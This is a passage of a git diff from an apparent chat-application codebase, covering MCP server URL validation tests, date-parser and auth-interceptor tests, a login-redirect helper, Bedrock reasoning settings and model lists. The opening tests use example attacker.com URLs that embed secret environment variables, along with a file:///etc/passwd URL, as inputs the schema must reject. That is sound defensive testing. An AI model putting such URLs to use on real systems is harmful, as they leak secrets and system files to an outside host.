+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'sse',
+        url: 'http://attacker.com/?secret=${FAKE_SECRET}',
+      });
+      expect(result.success).toBe(false);
+    });
+
+    it('should reject streamable-http URLs containing env variable patterns', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'streamable-http',
+        url: 'http://attacker.com/?jwt=${JWT_SECRET}',
+      });
+      expect(result.success).toBe(false);
+    });
+
+    it('should reject WebSocket URLs containing env variable patterns', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'websocket',
+        url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
+      });
+      expect(result.success).toBe(false);
+    });
+  });
+
+  describe('protocol allowlisting', () => {
+    it('should reject file:// URLs for SSE', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'sse',
+        url: 'file:///etc/passwd',
+      });
+      expect(result.success).toBe(false);
+    });
+
+    it('should reject ftp:// URLs for streamable-http', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'streamable-http',
+        url: 'ftp://internal-server/data',
+      });
+      expect(result.success).toBe(false);
+    });
+
+    it('should reject http:// URLs for WebSocket', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'websocket',
+        url: 'http://example.com/ws',
+      });
+      expect(result.success).toBe(false);
+    });
+
+    it('should reject ws:// URLs for SSE', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'sse',
+        url: 'ws://example.com/sse',
+      });
+      expect(result.success).toBe(false);
+    });
+  });
+
+  describe('valid URL acceptance', () => {
+    it('should accept valid https:// SSE URLs', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'sse',
+        url: 'https://mcp-server.com/sse',
+      });
+      expect(result.success).toBe(true);
+      if (result.success) {
+        expect(result.data.url).toBe('https://mcp-server.com/sse');
+      }
+    });
+
+    it('should accept valid http:// SSE URLs', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'sse',
+        url: 'http://mcp-server.com/sse',
+      });
+      expect(result.success).toBe(true);
+    });
+
+    it('should accept valid wss:// WebSocket URLs', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'websocket',
+        url: 'wss://mcp-server.com/ws',
+      });
+      expect(result.success).toBe(true);
+      if (result.success) {
+        expect(result.data.url).toBe('wss://mcp-server.com/ws');
+      }
+    });
+
+    it('should accept valid ws:// WebSocket URLs', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'websocket',
+        url: 'ws://mcp-server.com/ws',
+      });
+      expect(result.success).toBe(true);
+    });
+
+    it('should accept valid https:// streamable-http URLs', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'streamable-http',
+        url: 'https://mcp-server.com/http',
+      });
+      expect(result.success).toBe(true);
+      if (result.success) {
+        expect(result.data.url).toBe('https://mcp-server.com/http');
+      }
+    });
+
+    it('should accept valid http:// streamable-http URLs with "http" alias', () => {
+      const result = MCPServerUserInputSchema.safeParse({
+        type: 'http',
+        url: 'http://mcp-server.com/mcp',
+      });
+      expect(result.success).toBe(true);
+    });
+  });
+});
diff --git a/packages/data-provider/specs/parsers.spec.ts b/packages/data-provider/specs/parsers.spec.ts
index 90359d6e6f..83c3500922 100644
--- a/packages/data-provider/specs/parsers.spec.ts
+++ b/packages/data-provider/specs/parsers.spec.ts
@@ -7,22 +7,24 @@ import type { TUser, TConversation } from '../src/types';
 
 // Mock dayjs module with consistent date/time values regardless of environment
 jest.mock('dayjs', () => {
-  // Create a mock implementation that returns fixed values
   const mockDayjs = () => ({
     format: (format: string) => {
       if (format === 'YYYY-MM-DD') {
         return '2024-04-29';
       }
-      if (format === 'YYYY-MM-DD HH:mm:ss') {
-        return '2024-04-29 12:34:56';
+      if (format === 'YYYY-MM-DD HH:mm:ss Z') {
+        return '2024-04-29 12:34:56 -04:00';
       }
-      return format; // fallback
+      if (format === 'dddd') {
+        return 'Monday';
+      }
+      throw new Error(
+        `Unhandled dayjs().format() call in mock: "${format}". Update the mock in parsers.spec.ts`,
+      );
     },
-    day: () => 1, // 1 = Monday
     toISOString: () => '2024-04-29T16:34:56.000Z',
   });
 
-  // Add any static methods needed
   mockDayjs.extend = jest.fn();
 
   return mockDayjs;
@@ -47,13 +49,12 @@ describe('replaceSpecialVars', () => {
 
   test('should replace {{current_date}} with the current date', () => {
     const result = replaceSpecialVars({ text: 'Today is {{current_date}}' });
-    // dayjs().day() returns 1 for Monday (April 29, 2024 is a Monday)
-    expect(result).toBe('Today is 2024-04-29 (1)');
+    expect(result).toBe('Today is 2024-04-29 (Monday)');
   });
 
   test('should replace {{current_datetime}} with the current datetime', () => {
     const result = replaceSpecialVars({ text: 'Now is {{current_datetime}}' });
-    expect(result).toBe('Now is 2024-04-29 12:34:56 (1)');
+    expect(result).toBe('Now is 2024-04-29 12:34:56 -04:00 (Monday)');
   });
 
   test('should replace {{iso_datetime}} with the ISO datetime', () => {
@@ -90,7 +91,7 @@ describe('replaceSpecialVars', () => {
       user: mockUser,
     });
     expect(result).toBe(
-      'Hello Test User! Today is 2024-04-29 (1) and the time is 2024-04-29 12:34:56 (1). ISO: 2024-04-29T16:34:56.000Z',
+      'Hello Test User! Today is 2024-04-29 (Monday) and the time is 2024-04-29 12:34:56 -04:00 (Monday). ISO: 2024-04-29T16:34:56.000Z',
     );
   });
 
@@ -99,7 +100,7 @@ describe('replaceSpecialVars', () => {
       text: 'Date: {{CURRENT_DATE}}, User: {{Current_User}}',
       user: mockUser,
     });
-    expect(result).toBe('Date: 2024-04-29 (1), User: Test User');
+    expect(result).toBe('Date: 2024-04-29 (Monday), User: Test User');
   });
 
   test('should confirm all specialVariables from config.ts get parsed', () => {
@@ -120,8 +121,8 @@ describe('replaceSpecialVars', () => {
     });
 
     // Verify the expected replacements
-    expect(result).toContain('2024-04-29 (1)'); // current_date
-    expect(result).toContain('2024-04-29 12:34:56 (1)'); // current_datetime
+    expect(result).toContain('2024-04-29 (Monday)'); // current_date
+    expect(result).toContain('2024-04-29 12:34:56 -04:00 (Monday)'); // current_datetime
     expect(result).toContain('2024-04-29T16:34:56.000Z'); // iso_datetime
     expect(result).toContain('Test User'); // current_user
   });
diff --git a/packages/data-provider/specs/request-interceptor.spec.ts b/packages/data-provider/specs/request-interceptor.spec.ts
new file mode 100644
index 0000000000..b5e43736cc
--- /dev/null
+++ b/packages/data-provider/specs/request-interceptor.spec.ts
@@ -0,0 +1,304 @@
+/**
+ * @jest-environment @happy-dom/jest-environment
+ */
+import axios from 'axios';
+import { setTokenHeader } from '../src/headers-helpers';
+
+/**
+ * The response interceptor in request.ts registers at import time when
+ * `typeof window !== 'undefined'` (happy-dom provides window).
+ *
+ * We use axios's built-in request adapter mock to avoid real HTTP calls,
+ * and verify the interceptor's behavior by observing whether a 401 triggers
+ * a refresh POST or is immediately rejected.
+ *
+ * happy-dom is used instead of jsdom because it allows overriding
+ * window.location via Object.defineProperty, which jsdom 26+ blocks.
+ */
+
+const mockAdapter = jest.fn();
+let originalAdapter: typeof axios.defaults.adapter;
+let savedLocation: Location;
+
+beforeAll(async () => {
+  originalAdapter = axios.defaults.adapter;
+  axios.defaults.adapter = mockAdapter;
+
+  await import('../src/request');
+});
+
+beforeEach(() => {
+  mockAdapter.mockReset();
+  savedLocation = window.location;
+});
+
+afterAll(() => {
+  axios.defaults.adapter = originalAdapter;
+});
+
+afterEach(() => {
+  delete axios.defaults.headers.common['Authorization'];
+  Object.defineProperty(window, 'location', {
+    value: savedLocation,
+    writable: true,
+    configurable: true,
+  });
+});
+
+function setWindowLocation(overrides: Partial<Location>) {
+  Object.defineProperty(window, 'location', {
+    value: { ...window.location, ...overrides },
+    writable: true,
+    configurable: true,
+  });
+}
+
+describe('axios 401 interceptor — Authorization header guard', () => {
+  it('skips refresh and rejects when Authorization header is cleared', async () => {
+    expect.assertions(1);
+    setTokenHeader(undefined);
+
+    mockAdapter.mockRejectedValueOnce({
+      response: { status: 401 },
+      config: { url: '/api/messages', headers: {} },
+    });
+
+    try {
+      await axios.get('/api/messages');
+    } catch {
+      // expected rejection
+    }
+
+    expect(mockAdapter).toHaveBeenCalledTimes(1);
+  });
+
+  it('attempts refresh on shared link page even without Authorization header', async () => {
+    expect.assertions(2);
+    setTokenHeader(undefined);
+
+    setWindowLocation({
+      href: 'http://localhost/share/abc123',
+      pathname: '/share/abc123',
+      search: '',
+      hash: '',
+    } as Partial<Location>);
+
+    mockAdapter.mockRejectedValueOnce({
+      response: { status: 401 },
+      config: { url: '/api/share/abc123', headers: {} },
+    });
+
+    mockAdapter.mockResolvedValueOnce({
+      data: { token: 'new-token' },
+      status: 200,
+      headers: {},
+      config: {},
+    });
+
+    mockAdapter.mockResolvedValueOnce({
+      data: { sharedLink: {} },
+      status: 200,
+      headers: {},
+      config: {},
+    });
+
+    try {
+      await axios.get('/api/share/abc123');
+    } catch {
+      // may reject depending on exact flow
+    }
+
+    expect(mockAdapter.mock.calls.length).toBe(3);
+
+    const refreshCall = mockAdapter.mock.calls[1];
+    expect(refreshCall[0].url).toContain('api/auth/refresh');
+  });
+
+  it('does not bypass guard when share/ appears only in query params', async () => {
+    expect.assertions(1);
+    setTokenHeader(undefined);
+
+    setWindowLocation({
+      href: 'http://localhost/c/chat?ref=share/token',
+      pathname: '/c/chat',
+      search: '?ref=share/token',
+      hash: '',
+    } as Partial<Location>);
+
+    mockAdapter.mockRejectedValueOnce({
+      response: { status: 401 },
+      config: { url: '/api/messages', headers: {} },
+    });
+
+    try {
+      await axios.get('/api/messages');
+    } catch {
+      // expected rejection
+    }
+
+    expect(mockAdapter).toHaveBeenCalledTimes(1);
+  });
+
+  it('redirects to login with redirect_to when unauthenticated on share page and refresh fails', async () => {
+    expect.assertions(1);
+    setTokenHeader(undefined);
+
+    setWindowLocation({
+      href: 'http://localhost/share/abc123',
+      pathname: '/share/abc123',
+      search: '',
+      hash: '',
+    } as Partial<Location>);
+
+    mockAdapter.mockRejectedValueOnce({
+      response: { status: 401 },
+      config: { url: '/api/share/abc123', headers: {} },
+    });
+
+    mockAdapter.mockResolvedValueOnce({
+      data: { token: '' },
+      status: 200,
+      headers: {},
+      config: {},
+    });
+
+    try {
+      await axios.get('/api/share/abc123');
+    } catch {
+      // expected rejection
+    }
+
+    expect(window.location.href).toBe('/login?redirect_to=%2Fshare%2Fabc123');
+  });
+
+  it('redirects to login with redirect_to when authenticated and refresh returns no token on share page', async () => {
+    expect.assertions(1);
+    setTokenHeader('some-token');
+
+    setWindowLocation({
+      href: 'http://localhost/share/abc123',
+      pathname: '/share/abc123',
+      search: '',
+      hash: '',
+    } as Partial<Location>);
+
+    mockAdapter.mockRejectedValueOnce({
+      response: { status: 401 },
+      config: { url: '/api/share/abc123', headers: {} },
+    });
+
+    mockAdapter.mockResolvedValueOnce({
+      data: { token: '' },
+      status: 200,
+      headers: {},
+      config: {},
+    });
+
+    try {
+      await axios.get('/api/share/abc123');
+    } catch {
+      // expected rejection
+    }
+
+    expect(window.location.href).toBe('/login?redirect_to=%2Fshare%2Fabc123');
+  });
+
+  it('redirects to login with redirect_to when refresh returns no token on regular page', async () => {
+    expect.assertions(1);
+    setTokenHeader('some-token');
+
+    setWindowLocation({
+      href: 'http://localhost/c/some-conversation',
+      pathname: '/c/some-conversation',
+      search: '',
+      hash: '',
+    } as Partial<Location>);
+
+    mockAdapter.mockRejectedValueOnce({
+      response: { status: 401 },
+      config: { url: '/api/messages', headers: {} },
+    });
+
+    mockAdapter.mockResolvedValueOnce({
+      data: { token: '' },
+      status: 200,
+      headers: {},
+      config: {},
+    });
+
+    try {
+      await axios.get('/api/messages');
+    } catch {
+      // expected rejection
+    }
+
+    expect(window.location.href).toBe('/login?redirect_to=%2Fc%2Fsome-conversation');
+  });
+
+  it('redirects to plain /login without redirect_to when already on a login path', async () => {
+    expect.assertions(1);
+    setTokenHeader('some-token');
+
+    setWindowLocation({
+      href: 'http://localhost/login/2fa',
+      pathname: '/login/2fa',
+      search: '',
+      hash: '',
+    } as Partial<Location>);
+
+    mockAdapter.mockRejectedValueOnce({
+      response: { status: 401 },
+      config: { url: '/api/messages', headers: {} },
+    });
+
+    mockAdapter.mockResolvedValueOnce({
+      data: { token: '' },
+      status: 200,
+      headers: {},
+      config: {},
+    });
+
+    try {
+      await axios.get('/api/messages');
+    } catch {
+      // expected rejection
+    }
+
+    expect(window.location.href).toBe('/login');
+  });
+
+  it('attempts refresh when Authorization header is present', async () => {
+    expect.assertions(2);
+    setTokenHeader('valid-token');
+
+    mockAdapter.mockRejectedValueOnce({
+      response: { status: 401 },
+      config: { url: '/api/messages', headers: {}, _retry: false },
+    });
+
+    mockAdapter.mockResolvedValueOnce({
+      data: { token: 'new-token' },
+      status: 200,
+      headers: {},
+      config: {},
+    });
+
+    mockAdapter.mockResolvedValueOnce({
+      data: { messages: [] },
+      status: 200,
+      headers: {},
+      config: {},
+    });
+
+    try {
+      await axios.get('/api/messages');
+    } catch {
+      // may reject depending on exact flow
+    }
+
+    expect(mockAdapter.mock.calls.length).toBe(3);
+
+    const refreshCall = mockAdapter.mock.calls[1];
+    expect(refreshCall[0].url).toContain('api/auth/refresh');
+  });
+});
diff --git a/packages/data-provider/src/api-endpoints.ts b/packages/data-provider/src/api-endpoints.ts
index db6df32015..762a0ce859 100644
--- a/packages/data-provider/src/api-endpoints.ts
+++ b/packages/data-provider/src/api-endpoints.ts
@@ -164,6 +164,32 @@ export const verifyEmail = () => `${BASE_URL}/api/user/verify`;
 export const loginPage = () => `${BASE_URL}/login`;
 export const registerPage = () => `${BASE_URL}/register`;
 
+const REDIRECT_PARAM = 'redirect_to';
+const LOGIN_PATH_RE = /(?:^|\/)login(?:\/|$)/;
+
+/**
+ * Builds a `/login?redirect_to=...` URL from the given or current location.
+ * Returns plain `/login` (no param) when already on a login route to prevent recursive nesting.
+ */
+export function buildLoginRedirectUrl(pathname?: string, search?: string, hash?: string): string {
+  const p = pathname ?? window.location.pathname;
+  if (LOGIN_PATH_RE.test(p)) {
+    return '/login';
+  }
+  const s = search ?? window.location.search;
+  const h = hash ?? window.location.hash;
+
+  const stripped =
+    BASE_URL && (p === BASE_URL || p.startsWith(BASE_URL + '/'))
+      ? p.slice(BASE_URL.length) || '/'
+      : p;
+  const currentPath = `${stripped}${s}${h}`;
+  if (!currentPath || currentPath === '/') {
+    return '/login';
+  }
+  return `/login?${REDIRECT_PARAM}=${encodeURIComponent(currentPath)}`;
+}
+
 export const resendVerificationEmail = () => `${BASE_URL}/api/user/verify/resend`;
 
 export const plugins = () => `${BASE_URL}/api/plugins`;
diff --git a/packages/data-provider/src/bedrock.ts b/packages/data-provider/src/bedrock.ts
index 54f5c8b23f..bdf5e19605 100644
--- a/packages/data-provider/src/bedrock.ts
+++ b/packages/data-provider/src/bedrock.ts
@@ -4,6 +4,8 @@ import * as s from './schemas';
 const DEFAULT_ENABLED_MAX_TOKENS = 8192;
 const DEFAULT_THINKING_BUDGET = 2000;
 
+const bedrockReasoningConfigValues = new Set<string>(Object.values(s.BedrockReasoningConfig));
+
 type ThinkingConfig = { type: 'enabled'; budget_tokens: number } | { type: 'adaptive' };
 
 type AnthropicReasoning = {
@@ -134,6 +136,7 @@ export const bedrockInputSchema = s.tConversationSchema
     thinking: true,
     thinkingBudget: true,
     effort: true,
+    reasoning_effort: true,
     promptCache: true,
     /* Catch-all fields */
     topK: true,
@@ -178,6 +181,7 @@ export const bedrockInputParser = s.tConversationSchema
     thinking: true,
     thinkingBudget: true,
     effort: true,
+    reasoning_effort: true,
     promptCache: true,
     /* Catch-all fields */
     topK: true,
@@ -256,6 +260,9 @@ export const bedrockInputParser = s.tConversationSchema
         delete additionalFields.effort;
       }
 
+      /** Anthropic uses 'effort' via output_config, not reasoning_config */
+      delete additionalFields.reasoning_effort;
+
       if ((typedData.model as string).includes('anthropic.')) {
         const betaHeaders = getBedrockAnthropicBetaHeaders(typedData.model as string);
         if (betaHeaders.length > 0) {
@@ -268,23 +275,37 @@ export const bedrockInputParser = s.tConversationSchema
       delete additionalFields.effort;
       delete additionalFields.output_config;
       delete additionalFields.anthropic_beta;
+
+      const reasoningEffort = additionalFields.reasoning_effort;
+      delete additionalFields.reasoning_effort;
+      if (
+        typeof reasoningEffort === 'string' &&
+        bedrockReasoningConfigValues.has(reasoningEffort)
+      ) {
+        additionalFields.reasoning_config = reasoningEffort;
+      }
     }
 
     const isAnthropicModel =
       typeof typedData.model === 'string' && typedData.model.includes('anthropic.');
 
-    /** Strip stale anthropic_beta from previously-persisted additionalModelRequestFields */
+    /** Strip stale fields from previously-persisted additionalModelRequestFields */
     if (
-      !isAnthropicModel &&
       typeof typedData.additionalModelRequestFields === 'object' &&
       typedData.additionalModelRequestFields != null
     ) {
       const amrf = typedData.additionalModelRequestFields as Record<string, unknown>;
-      delete amrf.anthropic_beta;
-      delete amrf.thinking;
-      delete amrf.thinkingBudget;
-      delete amrf.effort;
-      delete amrf.output_config;
+      if (!isAnthropicModel) {
+        delete amrf.anthropic_beta;
+        delete amrf.thinking;
+        delete amrf.thinkingBudget;
+        delete amrf.effort;
+        delete amrf.output_config;
+        delete amrf.reasoning_config;
+      } else {
+        delete amrf.reasoning_config;
+        delete amrf.reasoning_effort;
+      }
     }
 
     /** Default promptCache for claude and nova models, if not defined */
diff --git a/packages/data-provider/src/config.spec.ts b/packages/data-provider/src/config.spec.ts
new file mode 100644
index 0000000000..4197cb754e
--- /dev/null
+++ b/packages/data-provider/src/config.spec.ts
@@ -0,0 +1,315 @@
+import type { TEndpointsConfig } from './types';
+import { EModelEndpoint, isDocumentSupportedProvider } from './schemas';
+import { getEndpointFileConfig, mergeFileConfig } from './file-config';
+import { resolveEndpointType } from './config';
+
+const endpointsConfig: TEndpointsConfig = {
+  [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
+  [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+  [EModelEndpoint.anthropic]: { userProvide: false, order: 6 },
+  [EModelEndpoint.bedrock]: { userProvide: false, order: 7 },
+  Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+  'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+  Gemini: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+describe('resolveEndpointType', () => {
+  describe('non-agents endpoints', () => {
+    it('returns the config type for a custom endpoint', () => {
+      expect(resolveEndpointType(endpointsConfig, 'Moonshot')).toBe(EModelEndpoint.custom);
+    });
+
+    it('returns the config type for a custom endpoint with spaces', () => {
+      expect(resolveEndpointType(endpointsConfig, 'Some Endpoint')).toBe(EModelEndpoint.custom);
+    });
+
+    it('returns the endpoint itself for a standard endpoint without a type field', () => {
+      expect(resolveEndpointType(endpointsConfig, EModelEndpoint.openAI)).toBe(
+        EModelEndpoint.openAI,
+      );
+    });
+
+    it('returns the endpoint itself for anthropic', () => {
+      expect(resolveEndpointType(endpointsConfig, EModelEndpoint.anthropic)).toBe(
+        EModelEndpoint.anthropic,
+      );
+    });
+
+    it('ignores agentProvider when endpoint is not agents', () => {
+      expect(resolveEndpointType(endpointsConfig, EModelEndpoint.openAI, 'Moonshot')).toBe(
+        EModelEndpoint.openAI,
+      );
+    });
+  });
+
+  describe('agents endpoint with provider', () => {
+    it('resolves to custom for a custom agent provider', () => {
+      expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Moonshot')).toBe(
+        EModelEndpoint.custom,
+      );
+    });
+
+    it('resolves to custom for a custom agent provider with spaces', () => {
+      expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Some Endpoint')).toBe(
+        EModelEndpoint.custom,
+      );
+    });
+
+    it('returns the provider itself for a standard agent provider (no type field)', () => {
+      expect(
+        resolveEndpointType(endpointsConfig, EModelEndpoint.agents, EModelEndpoint.openAI),
+      ).toBe(EModelEndpoint.openAI);
+    });
+
+    it('returns bedrock for a bedrock agent provider', () => {
+      expect(
+        resolveEndpointType(endpointsConfig, EModelEndpoint.agents, EModelEndpoint.bedrock),
+      ).toBe(EModelEndpoint.bedrock);
+    });
+
+    it('returns the provider name when provider is not in endpointsConfig', () => {
+      expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'UnknownProvider')).toBe(
+        'UnknownProvider',
+      );
+    });
+  });
+
+  describe('agents endpoint without provider', () => {
+    it('falls back to agents when no provider', () => {
+      expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents)).toBe(
+        EModelEndpoint.agents,
+      );
+    });
+
+    it('falls back to agents when provider is null', () => {
+      expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents, null)).toBe(
+        EModelEndpoint.agents,
+      );
+    });
+
+    it('falls back to agents when provider is undefined', () => {
+      expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents, undefined)).toBe(
+        EModelEndpoint.agents,
+      );
+    });
+  });
+
+  describe('edge cases', () => {
+    it('returns undefined for null endpoint', () => {
+      expect(resolveEndpointType(endpointsConfig, null)).toBeUndefined();
+    });
+
+    it('returns undefined for undefined endpoint', () => {
+      expect(resolveEndpointType(endpointsConfig, undefined)).toBeUndefined();
+    });
+
+    it('handles null endpointsConfig', () => {
+      expect(resolveEndpointType(null, EModelEndpoint.agents, 'Moonshot')).toBe('Moonshot');
+    });
+
+    it('handles undefined endpointsConfig', () => {
+      expect(resolveEndpointType(undefined, 'Moonshot')).toBe('Moonshot');
+    });
+  });
+});
+
+describe('resolveEndpointType + getEndpointFileConfig integration', () => {
+  const fileConfig = mergeFileConfig({
+    endpoints: {
+      Moonshot: { fileLimit: 5 },
+      [EModelEndpoint.agents]: { fileLimit: 20 },
+      default: { fileLimit: 10 },
+    },
+  });
+
+  it('agent with Moonshot provider uses Moonshot-specific config', () => {
+    const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Moonshot');
+    const config = getEndpointFileConfig({
+      fileConfig,
+      endpointType,
+      endpoint: 'Moonshot',
+    });
+    expect(config.fileLimit).toBe(5);
+  });
+
+  it('agent with provider not in fileConfig falls back through custom → agents', () => {
+    const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Gemini');
+    const config = getEndpointFileConfig({
+      fileConfig,
+      endpointType,
+      endpoint: 'Gemini',
+    });
+    expect(config.fileLimit).toBe(20);
+  });
+
+  it('agent without provider falls back to agents config', () => {
+    const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents);
+    const config = getEndpointFileConfig({
+      fileConfig,
+      endpointType,
+      endpoint: EModelEndpoint.agents,
+    });
+    expect(config.fileLimit).toBe(20);
+  });
+
+  it('custom fallback is used when present and provider has no specific config', () => {
+    const fileConfigWithCustom = mergeFileConfig({
+      endpoints: {
+        custom: { fileLimit: 15 },
+        [EModelEndpoint.agents]: { fileLimit: 20 },
+        default: { fileLimit: 10 },
+      },
+    });
+    const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Gemini');
+    const config = getEndpointFileConfig({
+      fileConfig: fileConfigWithCustom,
+      endpointType,
+      endpoint: 'Gemini',
+    });
+    expect(config.fileLimit).toBe(15);
+  });
+
+  it('non-agents custom endpoint uses its specific config directly', () => {
+    const endpointType = resolveEndpointType(endpointsConfig, 'Moonshot');
+    const config = getEndpointFileConfig({
+      fileConfig,
+      endpointType,
+      endpoint: 'Moonshot',
+    });
+    expect(config.fileLimit).toBe(5);
+  });
+
+  it('non-agents standard endpoint falls back to default when no specific config', () => {
+    const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.openAI);
+    const config = getEndpointFileConfig({
+      fileConfig,
+      endpointType,
+      endpoint: EModelEndpoint.openAI,
+    });
+    expect(config.fileLimit).toBe(10);
+  });
+});
+
+describe('resolveEndpointType + isDocumentSupportedProvider (upload menu)', () => {
+  it('agent with custom provider shows "Upload to Provider" (custom is document-supported)', () => {
+    const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Moonshot');
+    expect(isDocumentSupportedProvider(endpointType)).toBe(true);
+  });
+
+  it('agent with custom provider with spaces shows "Upload to Provider"', () => {
+    const endpointType = resolveEndpointType(
+      endpointsConfig,
+      EModelEndpoint.agents,
+      'Some Endpoint',
+    );
+    expect(isDocumentSupportedProvider(endpointType)).toBe(true);
+  });
+
+  it('agent without provider falls back to agents (not document-supported)', () => {
+    const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents);
+    expect(isDocumentSupportedProvider(endpointType)).toBe(false);
+  });
+
+  it('agent with openAI provider is document-supported', () => {
+    const endpointType = resolveEndpointType(
+      endpointsConfig,
+      EModelEndpoint.agents,
+      EModelEndpoint.openAI,
+    );
+    expect(isDocumentSupportedProvider(endpointType)).toBe(true);
+  });
+
+  it('agent with anthropic provider is document-supported', () => {
+    const endpointType = resolveEndpointType(
+      endpointsConfig,
+      EModelEndpoint.agents,
+      EModelEndpoint.anthropic,
+    );
+    expect(isDocumentSupportedProvider(endpointType)).toBe(true);
+  });
+
+  it('agent with bedrock provider is document-supported', () => {
+    const endpointType = resolveEndpointType(
+      endpointsConfig,
+      EModelEndpoint.agents,
+      EModelEndpoint.bedrock,
+    );
+    expect(isDocumentSupportedProvider(endpointType)).toBe(true);
+  });
+
+  it('direct custom endpoint (not agents) is document-supported', () => {
+    const endpointType = resolveEndpointType(endpointsConfig, 'Moonshot');
+    expect(isDocumentSupportedProvider(endpointType)).toBe(true);
+  });
+
+  it('direct standard endpoint is document-supported', () => {
+    const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.openAI);
+    expect(isDocumentSupportedProvider(endpointType)).toBe(true);
+  });
+
+  it('agent with unknown provider not in endpointsConfig is not document-supported', () => {
+    const endpointType = resolveEndpointType(
+      endpointsConfig,
+      EModelEndpoint.agents,
+      'UnknownProvider',
+    );
+    expect(isDocumentSupportedProvider(endpointType)).toBe(false);
+  });
+
+  it('same custom endpoint shows same result whether used directly or through agents', () => {
+    const directType = resolveEndpointType(endpointsConfig, 'Moonshot');
+    const agentType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Moonshot');
+    expect(isDocumentSupportedProvider(directType)).toBe(isDocumentSupportedProvider(agentType));
+  });
+});
+
+describe('any custom endpoint is document-supported regardless of name', () => {
+  const arbitraryNames = [
+    'My LLM Gateway',
+    'company-internal-api',
+    'LiteLLM Proxy',
+    'test_endpoint_123',
+    'AI Studio',
+    'ACME Corp',
+    'localhost:8080',
+  ];
+
+  const configWithArbitraryEndpoints: TEndpointsConfig = {
+    [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+    ...Object.fromEntries(
+      arbitraryNames.map((name) => [
+        name,
+        { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+      ]),
+    ),
+  };
+
+  it.each(arbitraryNames)('direct custom endpoint "%s" is document-supported', (name) => {
+    const endpointType = resolveEndpointType(configWithArbitraryEndpoints, name);
+    expect(endpointType).toBe(EModelEndpoint.custom);
+    expect(isDocumentSupportedProvider(endpointType)).toBe(true);
+  });
+
+  it.each(arbitraryNames)('agent with custom provider "%s" is document-supported', (name) => {
+    const endpointType = resolveEndpointType(
+      configWithArbitraryEndpoints,
+      EModelEndpoint.agents,
+      name,
+    );
+    expect(endpointType).toBe(EModelEndpoint.custom);
+    expect(isDocumentSupportedProvider(endpointType)).toBe(true);
+  });
+
+  it.each(arbitraryNames)(
+    '"%s" resolves the same whether used directly or through an agent',
+    (name) => {
+      const directType = resolveEndpointType(configWithArbitraryEndpoints, name);
+      const agentType = resolveEndpointType(
+        configWithArbitraryEndpoints,
+        EModelEndpoint.agents,
+        name,
+      );
+      expect(directType).toBe(agentType);
+    },
+  );
+});
diff --git a/packages/data-provider/src/config.ts b/packages/data-provider/src/config.ts
index 360cce69ba..e13521c019 100644
--- a/packages/data-provider/src/config.ts
+++ b/packages/data-provider/src/config.ts
@@ -1,7 +1,7 @@
 import { z } from 'zod';
 import type { ZodError } from 'zod';
 import type { TEndpointsConfig, TModelsConfig, TConfig } from './types';
-import { EModelEndpoint, eModelEndpointSchema } from './schemas';
+import { EModelEndpoint, eModelEndpointSchema, isAgentsEndpoint } from './schemas';
 import { specsConfigSchema, TSpecsConfig } from './models';
 import { fileConfigSchema } from './file-config';
 import { apiBaseUrl } from './api-endpoints';
@@ -820,6 +820,7 @@ export enum OCRStrategy {
   CUSTOM_OCR = 'custom_ocr',
   AZURE_MISTRAL_OCR = 'azure_mistral_ocr',
   VERTEXAI_MISTRAL_OCR = 'vertexai_mistral_ocr',
+  DOCUMENT_PARSER = 'document_parser',
 }
 
 export enum SearchCategories {
@@ -1100,6 +1101,10 @@ export const alternateName = {
 };
 
 const sharedOpenAIModels = [
+  'gpt-5.4',
+  // TODO: gpt-5.4-thinking may have separate reasoning token pricing — verify before release
+  'gpt-5.4-thinking',
+  'gpt-5.4-pro',
   'gpt-5.1',
   'gpt-5.1-chat-latest',
   'gpt-5.1-codex',
@@ -1192,6 +1197,13 @@ export const defaultModels = {
   [EModelEndpoint.assistants]: [...sharedOpenAIModels, 'chatgpt-4o-latest'],
   [EModelEndpoint.agents]: sharedOpenAIModels, // TODO: Add agent models (agentsModels)
   [EModelEndpoint.google]: [
+    // Gemini 3.1 Models
+    'gemini-3.1-pro-preview',
+    'gemini-3.1-pro-preview-customtools',
+    'gemini-3.1-flash-lite-preview',
+    // Gemini 3 Models
+    'gemini-3-pro-preview',
+    'gemini-3-flash-preview',
     // Gemini 2.5 Models
     'gemini-2.5-pro',
     'gemini-2.5-flash',
@@ -1268,6 +1280,7 @@ export const visionModels = [
   'o4-mini',
   'o3',
   'o1',
+  'gpt-5',
   'gpt-4.1',
   'gpt-4.5',
   'llava',
@@ -1723,9 +1736,9 @@ export enum TTSProviders {
 /** Enum for app-wide constants */
 export enum Constants {
   /** Key for the app's version. */
